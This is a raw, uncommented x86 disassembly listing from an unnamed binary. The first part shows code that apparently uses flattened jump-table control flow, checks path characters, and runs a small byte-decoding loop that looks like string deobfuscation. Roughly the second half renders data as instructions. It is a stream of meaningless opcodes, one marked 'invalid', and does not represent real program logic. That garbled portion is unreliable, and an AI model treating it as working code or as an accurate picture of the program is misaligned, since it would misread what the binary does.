call fcn.00415b00
mov eax, dword [esp + 0xbc]
mov ecx, dword [esp + 0xc0]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x1b8]
mov eax, dword [ecx + eax*4]
mov edx, dword [esp + 0xc]
jmp eax
iretd
call fcn.00415f20
mov dword [esp], edi
call fcn.00415b00
lea esi, [edi + eax*2]
mov dword [esp + 0x3b4], 1
mov eax, dword [esp + 0x3b8]
mov ecx, dword [esp + 0x3b4]
add eax, dword [eax]
add byte [ebx + 0x3b4248c], cl
add byte [eax], al
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x26c]
mov ecx, dword [esp + 0x270]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov edi, esi
sub edi, dword [esp + 0xc]
sar edi, 1
mov ebx, edi
inc ebx
xor eax, eax
mov ecx, ebx
sub ecx, 1
sete cl
mov dword [esp + 0x39c], 1
mov edx, dword [esp + 0x3a0]
mov ebp, dword [esp + 0x39c]
mov edx, dword [edx + ebp*4]
jmp edx
add ebx, 0xfffffffe
mov eax, dword [esp + 0x1a4]
mov ecx, dword [esp + 0x1a8]
mov eax, dword [ecx + eax*4]
mov esi, ebx
jmp eax
mov dword [esp], edi
mov dword [esp + 4], 0x5c
call fcn.00438710
mov eax, dword [esp + 0xc4]
mov ecx, dword [esp + 0xc8]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp]
mov ecx, dword [esp + 0x2ec]
mov edx, dword [esp + 0x2f0]
mov ecx, dword [edx + ecx*4]
jmp ecx
call fcn.00415f20
mov ax, word [edi]
mov dword [esp + 0x294], 0
mov ecx, dword [esp + 0x298]
mov edx, dword [esp + 0x294]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x14c]
mov ecx, dword [esp + 0x150]
mov eax, dword [ecx + eax*4]
mov esi, edi
mov edx, dword [esp + 0xc]
jmp eax
mov al, cl
and eax, 1
mov dword [esp + 0x3c4], eax
mov eax, dword [esp + 0x3c8]
mov ecx, dword [esp + 0x3c4]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [ebp]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x1dc], ecx
mov eax, dword [esp + 0x1e0]
mov ecx, dword [esp + 0x1dc]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
call fcn.00415f20
movzx esi, bp
mov dword [esp + 0x37c], 0
mov eax, dword [esp + 0x380]
mov ecx, dword [esp + 0x37c]
mov eax, dword [eax + ecx*4]
jmp eax
mov dword [esp + 0xc], edi
call fcn.00415f20
mov dword [esp], edi
mov dword [esp + 4], 0x5c
call fcn.00438710
mov esi, eax
xor eax, eax
test esi, esi
sete cl
mov dword [esp + 0x3cc], 1
mov edx, dword [esp + 0x3d0]
mov edi, dword [esp + 0x3cc]
mov edx, dword [edx + edi*4]
mov edi, dword [esp + 0xc]
jmp edx
mov ebx, dword [esp + 0x10]
mov word [ebx], 0x5c
add ebx, 2
mov esi, dword [esp + 0xc]
add esi, 2
mov eax, dword [esp + 0x334]
mov ecx, dword [esp + 0x338]
mov eax, dword [ecx + eax*4]
mov ebp, dword [esp + 0x414]
jmp eax
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x80]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x174], 1
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x174]
mov eax, dword [eax + ecx*4]
jmp eax
mov cl, al
and ecx, 1
mov dword [esp + 0x1e4], ecx
mov eax, dword [esp + 0x1e8]
mov ecx, dword [esp + 0x1e4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x224]
mov ecx, dword [esp + 0x228]
mov eax, dword [ecx + eax*4]
mov ebx, dword [esp + 0x10]
jmp eax
mov eax, dword [esp + 0xc]
mov ax, word [eax]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x324], ecx
mov eax, dword [esp + 0x328]
mov ecx, dword [esp + 0x324]
mov eax, dword [eax + ecx*4]
jmp eax
mov edx, esi
add edx, 2
mov ax, word [esi + 2]
xor ecx, ecx
sub ax, 0x2e
sete cl
mov dword [esp + 0x204], ecx
mov eax, dword [esp + 0x208]
mov ecx, dword [esp + 0x204]
mov eax, dword [eax + ecx*4]
jmp eax
mov ax, word [edx + 4]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x13c], ecx
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x13c]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0xb4]
mov ecx, dword [esp + 0xb8]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov ax, word [edi]
test ax, ax
sete al
mov dword [esp + 0x1cc], 1
mov ecx, dword [esp + 0x1d0]
mov edx, dword [esp + 0x1cc]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor al, 0xdc
inc edi
mov al, byte [si + 0x24]
adc al, 0x88
inc esp
and al, 0x38
mov byte [esp + 0x24], 0xee
mov byte [esp + 0x25], 0x27
mov byte [esp + 0x26], 0xc2
mov byte [esp + 0x27], 0x21
mov byte [esp + 0x28], 0x20
mov byte [esp + 0x29], 0x23
mov eax, 6
mov byte [esp + eax + 0x24], 0
add eax, 1
cmp eax, 0xc
jne 0x4384ce
mov dword [esp + 0x20], 0
mov eax, dword [esp + 0x20]
cmp eax, 0xc
jae 0x438518
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x20]
movzx ecx, byte [esp + ecx + 0x24]
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0043a0a0
mov ecx, dword [esp + 0x20]
mov byte [esp + ecx + 0x24], al
mov eax, dword [esp + 0x20]
inc eax
mov dword [esp + 0x20], eax
jmp 0x4384e3
mov eax, ebp
add eax, 2
lea ecx, [esp + 0x24]
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.00438750
mov eax, dword [esp + 0x6c]
mov ecx, dword [esp + 0x70]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x58]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x344], 1
mov eax, dword [esp + 0x348]
mov ecx, dword [esp + 0x344]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x29c], 1
mov eax, dword [esp + 0x2a0]
mov ecx, dword [esp + 0x29c]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.00415f20
mov dword [esp + 0x3bc], 0
mov eax, dword [esp + 0x3c0]
mov ecx, dword [esp + 0x3bc]
mov eax, dword [eax + ecx*4]
jmp eax
add ebx, 0xfffffffe
mov eax, dword [esp + 0x22c]
mov ecx, dword [esp + 0x230]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.00415f20
mov cx, word [esi]
xor eax, eax
sub cx, 0x5c
sete cl
mov dword [esp + 0x18c], 1
mov edx, dword [esp + 0x190]
mov edi, dword [esp + 0x18c]
mov edx, dword [edx + edi*4]
jmp edx
add edx, 4
mov eax, dword [esp + 0x21c]
mov ecx, dword [esp + 0x220]
mov eax, dword [ecx + eax*4]
mov esi, edx
mov ebx, dword [esp + 0x10]
jmp eax
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x138]
mov eax, dword [ecx + eax*4]
mov edx, esi
jmp eax
call fcn.00415f20
mov dword [esp + 0x3d4], 0
mov eax, dword [esp + 0x3d8]
mov ecx, dword [esp + 0x3d4]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x3ac]
mov ecx, dword [esp + 0x3b0]
mov eax, dword [ecx + eax*4]
jmp eax
mov ax, word [ebp]
xor ecx, ecx
sub ax, 0x5c
sete cl
mov dword [esp + 0x2a4], ecx
mov eax, dword [esp + 0x2a8]
mov ecx, dword [esp + 0x2a4]
mov ecx, dword [eax + ecx*4]
xor eax, eax
jmp ecx
mov al, byte [esp + 0x16]
mov bl, al
and ebx, 1
mov dword [esp + 0x2b4], ebx
mov eax, dword [esp + 0x2b8]
mov ecx, dword [esp + 0x2b4]
mov eax, dword [eax + ecx*4]
mov ebx, dword [esp + 0x10]
jmp eax
mov word [ebp], 0x5c
mov word [ebp + 2], 0
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x110]
mov eax, dword [ecx + eax*4]
jmp eax
arpl word [ebx], ax
dec eax
arpl word [ebx], ax
push edx
imul eax, dword [ebx], case.0x436341.3
inc ecx
imul eax, dword [ebx], case.0x436451.1
aaa
imul eax, dword [ebx], case.0x436451.3
sbb eax, 0xd004369
imul eax, dword [ebx], case.0x436606.1
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
or eax, 0x1004366
imul eax, dword [ebx], case.0x436606.1
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
or eax, 0x1004366
add byte [eax], al
add byte [eax], dl
imul eax, dword [ebx], case.0x436606.7
clc
push 0x672f0043
inc ebx
add bh, bl
push 0x68b00043
inc ebx
add byte [eax - 0x4fffbc98], dh
push 0x68b20043
inc ebx
add byte [eax - 0x30ffbc98], dh
push 0x68df0043
inc ebx
add ah, ch
push 0x68f80043
inc ebx
add byte [edi + 0x6a], ah
inc ebx
add byte [ebx + 0x67004369], cl
push 0x43
add byte [eax - 0x29ffbc97], dh
imul eax, dword [ebx], case.0x436728.17
salc
imul eax, dword [ebx], case.0x436728.19
push esp
push 67
add byte [eax + 0x6a], al
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x6a], ah
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x74ffbc96], dh
push 0x43
add ah, cl
push 0x43
add byte [eax - 0x27ffbc96], dh
push 0x43
add bh, bl
push 0x43
add byte [edx + 0x6700436b], bh
imul eax, dword [ebx], 0x67
imul eax, dword [ebx], 0x67
insb byte es:[edi], dx
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x6c], ah
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x50ffbc95], bh
insb byte es:[edi], dx
inc ebx
add byte [eax + 0x400436c], al
insd dword es:[edi], dx
inc ebx
add byte [eax + edi*2], cl
inc ebx
add byte [ebp + 0x78], cl
inc ebx
add byte [esi + 0x39004377], dh
xchg byte [ebx], al
movsb byte es:[edi], byte [esi]
add byte [ebx], 125
add dword [ebx], case.0x436bb3.14
adc dword [edx + 0x7e940043], eax
inc ebx
add byte [ebp - 0x13ffbc7b], cl
add byte [ebx], 0x9b
add byte [ebx], 0x9b
add byte [ebx], 0x81
xchg byte [ebx], al
sub eax, 0x4d004381
test byte [ebx], al
dec ebp
test byte [ebx], al
test dword [edi + 0x43], edi
add byte [ebx], ah
add byte [ebx], 0xf2
ja 0x4494ce
add byte [ecx - 0x7e], bl
inc ebx
add byte [edi], ah
jg 0x4494d6
add byte [eax + 0x59004380], cl
add byte [ebx], 0xbc
jge 0x4494e2
add byte [ebp + 0x7d], dl
inc ebx
add byte [ebp + 0x7d], dl
inc ebx
add ch, al
jl 0x4494ee
add ch, dl
add byte [ebx], 0x47
test dword [ebx], eax
inc edi
test dword [ebx], eax
or bh, byte [ecx + 0x43]
add byte [ebx], ah
add byte [ebx], 0xe8
add byte [ebx], 0xfa
jge 0x44950a
add byte [esi - 0x5ffbc7d], cl
jge 0x449512
inc ebx
add byte [ecx], bl
jge 0x449516
add byte [eax], cl
xchg byte [ebx], al
bnd jp 0x44951e
inc ebx
add dl, dh
jp 0x44951e
add byte [ebx], ch
jp 0x449522
add al, bl
jl 0x449526
inc ebx
add byte [ebx], ch
jp 0x44952a
add byte [edx], dl
jnp 0x44952e
add byte [edi - 0x7d], ah
inc ebx
add byte [eax - 0x7affbc7f], ah
js 0x44953a
add byte [edx + 0x78], ah
inc ebx
add byte [ebp - 0x42ffbc88], al
xchg byte [ebx], al
and eax, 0x2700437b
js 4494670
inc ebx
add byte [esi + eax*4 + 0x78270043], dl
inc ebx
add byte [edx + edi*2 + 0x43], ch
inc ebx
add byte [edx - 0x7b], ch
inc ebx
add bh, bl
jge 0x449562
inc ebx
add dl, dl
add dword [ebx], case.0x436bb3.68
rol byte [ecx + 0x7d700043], cl
inc ebx
add byte [edx], bh
js 0x44956a
inc ebx
add dl, dl
add dword [ebx], case.0x436bb3.70
adc eax, 0x70004383
inc ebx
add byte [eax + 0x7d], dh
inc ebx
add byte [0x70004383], dl
jge 0x44957a
add byte [edx], bl
add dword [ebx], case.0x436bb3.74
loop 0x4495ba
inc ebx
add byte [eax + 0x7d], cl
inc ebx
add dl, ah
js 0x449586
inc ebx
add dl, ah
js 0x44958a
add byte [esp + edi*2 + 0x43], ch
add ch, cl
jg 0x449592
inc ebx
add bl, al
test dword [ebx], eax
mov ebx, 0x4600437e
jp 4494750
add byte [ebx - 0x47ffbc82], bh
add dword [ebx], 0xffffffbb
jle 0x4495aa
inc ebx
add byte [ebx - 0x2fffbc82], bh
add al, dl
jnp 0x4495ae
inc ebx
add byte [edi - 0x41ffbc86], bl
add byte [ebx], 0x63
jns 0x4495ba
add byte [edi + 0x48004384], bl
add dword [ebx], 0x63
jns 0x4495c6
inc ebx
add byte [eax - 0x7d], cl
inc ebx
add byte [ebx + 0x79], ah
inc ebx
add byte [eax], dh
add byte [ebx], 0xbe
add byte [ebx], 0x46
inc ebx
add byte [esi + 0x46004380], bh
inc ebx
add byte [esi + 0x7c], al
inc ebx
jl 0x4495d2
add byte [edi + edi*2], al
inc ebx
add byte [edx + 0x79], dl
inc ebx
add byte [eax - 0x7c], ah
inc ebx
add byte [eax - 0x7c], ah
inc ebx
add byte [ebx + 0x2600437d], dl
test byte [ebx], al
add dword gs:[ebx], case.0x436bb3.102
jg 4494894
inc ebx
add byte [esi - 0x80], cl
inc ebx
add byte [edi + 0x7c], bh
inc ebx
add cl, bl
test dword [ebx], eax
invalid
inc ebx
add byte [esi + 0xd00437a], cl
jl 0x449606
add byte [0xa004383], ah
inc ebx
add byte [edx], cl
add byte [ebx], 0x3a
test dword [ebx], eax
cmp bh, byte [edi + 0x43]
inc ebx
add byte [edx], ah
jle 0x44961a
add byte [edx], bh
jg 0x44961e
add byte [edi], ch
jns 0x449622
add byte [edi + edi*2 - 0x7e07ffbd], ah
inc ebx
add byte [edi + edi*2 + 0x7ac40043], ah
inc ebx
add byte [esi + eax*4], ah
inc ebx
add byte [ecx - 0x80], ah
inc ebx
add ah, ah
xchg byte [ebx], al
push ss
jp 4494914
add byte [ebp + 0x1600437f], dh
jp 0x44964a
inc ebx
add bl, bh
jl 0x44964e
add byte [eax], al
add byte [eax], al
add byte [ebx], bh
mov eax, dword [0xa13b0043]
inc ebx
add byte [ebx], bh
mov eax, dword [0xa13b0043]
inc ebx
add byte [ebx], bh
mov eax, dword [0xa13b0043]
inc ebx
add byte [ebx], bh
mov eax, dword [0xa13b0043]
inc ebx
add byte [edi - 0x5f], al
inc ebx
add byte [ebx], bh
mov eax, dword [0xa1470043]
inc ebx
add byte [edi - 0x5f], al
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [edi - 0x5f], al
inc ebx
add byte [ecx], al
add byte [eax], al
add byte [0x2d0043a2], ch
mov byte [0xa22d0043], al
inc ebx
add byte [0x660043a2], ch
mov eax, dword [0xa22d0043]
inc ebx
add dl, cl
inc ebx
add byte [0x2d0043a2], ch
mov byte [0xa1660043], al
inc ebx
add byte [esi - 0x5f], ah
inc ebx
add byte [0xca0043a2], ch
mov eax, dword [0xa1f00043]
inc ebx
add al, dh
mov eax, dword [0xa1f00043]
inc ebx
add dh, dh
mov eax, dword [0xa1f60043]
inc ebx
add byte [0x43a2], ch
mov byte [0xa2000043], al
inc ebx
add byte [edx], al
mov byte [0xa2020043], al
inc ebx
add byte [0x50043a2], al
mov byte [0xa2050043], al
inc ebx
add byte [eax], ah
mov byte [0xa2200043], al
inc ebx
add byte [edx], ah
mov byte [0xa2220043], al
inc ebx
add byte [eax], ch
mov byte [0xa2280043], al
inc ebx
add al, ah
mov eax, dword [0xa1f00043]
inc ebx
add byte [eax], al
mov byte [0xa2200043], al
inc ebx
add ah, bh
cmp al, 0x46
add ah, bh
cmp al, 0x46
add byte [eax], bh
xor eax, 0x355a0046
inc esi
add byte [ebp + esi + 0x46], bh
add ch, al
cmp eax, dword [esi]
out 0x3b, eax
inc esi
add cl, ch
sub eax, 0x2db80046
inc esi
add byte [ecx - 0x61ffb9d2], bh
xor eax, 0x35c00046
inc esi
add byte [ecx], bh
cmp al, 0x46
add byte [eax], cl
aaa
inc esi
add byte [edx], ch
aaa
inc esi
add byte [edi + esi + 0x46], cl
add byte [ebx + 0x3b], ah
inc esi
add byte [ebp + 0x2e], cl
inc esi
add byte [edi + 0x2e], ch
inc esi
add byte [esi + ebp + 0x36280046], dl
inc esi
add byte [edx + 0x36], cl
inc esi
add byte [esi + esi + 0x46], ch
add byte [esi - 0x4fffb9ca], cl
inc esi
add ch, bh
xor al, 0x46
add byte [edx], dl
cmp eax, dword [esi]
push ebx
cmp dword [esi], eax
wait
cmp al, 0x46
add byte [ebp + 0x39], dh
inc esi
add byte [eax - 0x45ffb9c8], bl
cmp byte [esi], al
imul edi, dword [esi + eax*2], 0
fdivr qword [eax]
inc esi
add byte [ecx], bl
cmp al, byte [esi]
or dword [esi + eax*2], edi
add byte [ebx], bh
cmp al, byte [esi]
clc
inc esi
add byte [edx], bl
das
inc esi
add byte [edi + ebp], bh
inc esi
add byte [edx + 0x32], dh
inc esi
add byte [edx + esi + 0x32b60046], dl
inc esi
add ch, cl
xor al, 0x46
add ah, ah
xor eax, dword [esi]
pop esi
das
inc esi
add byte [edx - 0x7fffb9cd], dh
das
inc esi
add ah, bh
xor dword [esi], eax
push ds
xor al, byte [esi]
inc eax
xor al, byte [esi]
push ss
xor al, 0x46
add al, ch
xor al, byte [esi]
or dh, byte [ebx]
inc esi
add byte [eax + 0x34], cl
inc esi
add al, cl
das
inc esi
add dl, ch
das
inc esi
add byte [ecx], bh
xor eax, dword [esi]
pop ebx
xor eax, dword [esi]
test al, 0x34
inc esi
add byte [eax + esi], cl
inc esi
add byte [esi], ch
xor byte [esi], al
sbb ebp, dword [esi]
inc esi
add byte [eax - 0x55ffb9d0], cl
xor byte [esi], al
int3